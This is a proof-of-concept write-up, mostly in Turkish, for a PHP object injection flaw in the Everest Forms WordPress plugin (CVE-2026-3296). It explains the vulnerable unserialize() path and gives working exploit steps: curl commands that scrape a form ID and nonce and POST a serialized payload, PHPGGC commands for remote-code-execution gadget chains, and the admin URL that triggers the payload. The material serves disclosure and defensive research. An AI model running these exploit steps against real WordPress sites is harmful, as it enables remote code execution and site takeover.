
CVE-2026-3296 is a CVSS 9.8 Critical unauthenticated PHP Object Injection vulnerability in the Everest Forms WordPress plugin
CVE-2026-3296 is a CVSS 9.8 Critical unauthenticated PHP Object Injection vulnerability in the Everest Forms WordPress plugin
Plugin: Everest Forms – Contact Form, Payment Form, Quiz, Survey & Custom Form Builder Plugin Slug:
everest-formsCVE ID: CVE-2026-3296 CVSS Score: 9.8 (Critical) CVSS Vector:CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:HZafiyet Türü: Unauthenticated PHP Object Injection → RCE Etkilenen Sürümler: <= 3.4.3 Yamalı Sürüm: 3.4.4 Yayın Tarihi: 7 Nisan 2026 Araştırmacı: 0xsabre — Mobikwik / Wordfence
Everest Forms eklentisi, form girişi metadata'sını admin panelinde
görüntülerken PHP'nin native unserialize() fonksiyonunu
allowed_classes parametresi olmadan çağırır.
Kimliği doğrulanmamış bir saldırgan, herhangi bir public form alanına
serialized PHP object payload'ı gömerek bunu veritabanına kaydedebilir.
Admin panel üzerinden entry görüntülendiğinde unserialize() tetiklenir
ve ortamdaki herhangi bir POP gadget chain çalıştırılır.
| Alan | Değer |
|---|---|
| CVE ID | CVE-2026-3296 |
| CVSS | 9.8 Critical |
| Tür | PHP Object Injection (Deserialization of Untrusted Data) |
| Etkilenen Sürüm | <= 3.4.3 |
| Yamalı Sürüm | 3.4.4 |
| Kimlik Doğrulama | Gerekmez (enjeksiyon), Admin (tetikleme) |
| CWE | CWE-502: Deserialization of Untrusted Data |
FAZ 1 — ENJEKSIYON (Kimlik doğrulama gerekmez)
FAZ 2 — TETİKLEME (Admin panel görüntülemesi)
// Her front-end sayfa yüklemesinde tetiklenir
add_action( 'wp', array( $this, 'listen_task' ) );
// line 109 — kullanıcı verisi sanitize edilerek işlenir
$this->do_task( evf_sanitize_entry( wp_unslash( $_POST['everest_forms'] ) ) );
// sanitize_text_field() HTML tag, null byte siler
// PHP serialization karakterlerini (O:, s:, {, }, ;) SİLMEZ
default:
$entry['form_fields'][$key] = sanitize_text_field(
$entry['form_fields'][$key]
);
Bu payload sanitize_text_field() sonrası tamamen korunur:
O:8:"stdClass":1:{s:5:"pwned";s:3:"yes";}
// return $entry; ifadesi foreach döngüsü İÇİNDE
// → Yalnızca ilk alan sanitize edilir, geri kalan alanlar ham kalır
foreach ($entry['form_fields'] as $key => $value) {
...
return $entry; // ← BUG: döngü ilk iterasyonda çıkar
}
$entry_metadata = array(
'entry_id' => $entry_id,
'meta_key' => sanitize_key( $field['meta_key'] ),
'meta_value' => maybe_serialize( $field['value'] ),
// maybe_serialize() düz string'i değiştirmez
// → Serialized object string verbatim yazılır
);
$wpdb->insert( $wpdb->prefix . 'evf_entrymeta', $entry_metadata );
$meta_value = is_serialized( $meta_value )
? $meta_value
: wp_strip_all_tags( $meta_value );
if ( is_serialized( $meta_value ) ) {
$raw_meta_val = unserialize( $meta_value );
// ↑ allowed_classes parametresi YOK
// PHP varsayılanı: TÜM sınıflar instantiate edilebilir
// → POP gadget chain tetiklenir
}
// Bu fonksiyon zaten mevcuttu — sadece çağrılmadı
function evf_maybe_unserialize($data, $options = array()) {
if (is_serialized($data)) {
if (version_compare(PHP_VERSION, '7.1.0', '>=')) {
$options = wp_parse_args($options, array('allowed_classes' => false));
return @unserialize(trim($data), $options); // Güvenli
}
return null;
}
return $data;
}
<!-- Public form HTML'inde gömülü — herkes okuyabilir -->
<input type="hidden" name="_wpnonce123" value="abc123def456">
Nonce CSRF koruması sağlar, kimlik doğrulama değil. Saldırgan form sayfasını GET ile açıp nonce'ı okur, ardından POST ile payload gönderir.
┌──────────────────────────────────────────────────────────────┐
│ FAZ 1 — ENJEKSIYON (Unauthenticated) │
│ │
│ GET /contact/ │
│ → form_id=123, nonce=abc123, field=text_xyz │
│ │
│ POST /contact/ │
│ everest_forms[id]=123 │
│ everest_forms[form_fields][text_xyz]=O:8:"Evil":1:{...} │
│ _wpnonce123=abc123 │
│ │ │
│ ├── sanitize_text_field() → serialization korunur │
│ ├── maybe_serialize() → string değişmez │
│ └── wp_evf_entrymeta.meta_value = "O:8:\"Evil\"..." │
└──────────────────────────┬───────────────────────────────────┘
│ (Admin rutin kontrol yapar)
┌──────────────────────────▼───────────────────────────────────┐
│ FAZ 2 — TETİKLEME (Admin Panel) │
│ │
│ GET /wp-admin/admin.php │
│ ?page=evf-entries&form_id=123&view-entry=456 │
│ │ │
│ ├── is_serialized($meta_value) = true │
│ ├── unserialize($meta_value) ← ZAFIYET │
│ │ allowed_classes = (yok) → tüm sınıflar │
│ └── POP gadget chain → __wakeup() / __destruct() │
│ → RCE / File Write / Data Exfil │
└──────────────────────────────────────────────────────────────┘
⚠️ Disclaimer: This PoC is provided for educational and defensive security research purposes only.
Ön Koşullar:
TARGET="https://target-site.example.com/contact/"
# Form ID çıkar
curl -s "$TARGET" | grep -oP 'name="everest_forms\[id\]" value="\K[0-9]+'
# Nonce çıkar
curl -s "$TARGET" | grep -oP '(?<=name="_wpnonce)[0-9]+" value="\K[^"]+'
# Güvenli test — stdClass, magic method yok
PAYLOAD='O:8:"stdClass":2:{s:6:"source";s:14:"CVE-2026-3296";s:6:"pwned";s:3:"yes";}'
Gerçek ortam için PHPGGC ile POP chain üret:
# WordPress/RCE1 chain
phpggc WordPress/RCE1 system "id" -s
# Monolog chain
phpggc Monolog/RCE1 system "id" -s
FORM_ID="123"
NONCE="abcdef1234"
FIELD="text_abc123"
curl -s -X POST "$TARGET" \
-d "everest_forms[id]=${FORM_ID}" \
-d "everest_forms[form_fields][${FIELD}]=${PAYLOAD}" \
-d "_wpnonce${FORM_ID}=${NONCE}" \
-d "everest_forms[hp][abc]="
Beklenen: Form başarı mesajı veya yönlendirme.
wp db query \
"SELECT meta_value FROM wp_evf_entrymeta ORDER BY meta_id DESC LIMIT 3;" \
--allow-root
# O:8:"stdClass":2:{...} satırı görünmeli
https://target-site.example.com/wp-admin/admin.php
?page=evf-entries
&form_id=123
&view-entry=<ENTRY_ID>
Sayfa yüklendiğinde unserialize() çalışır.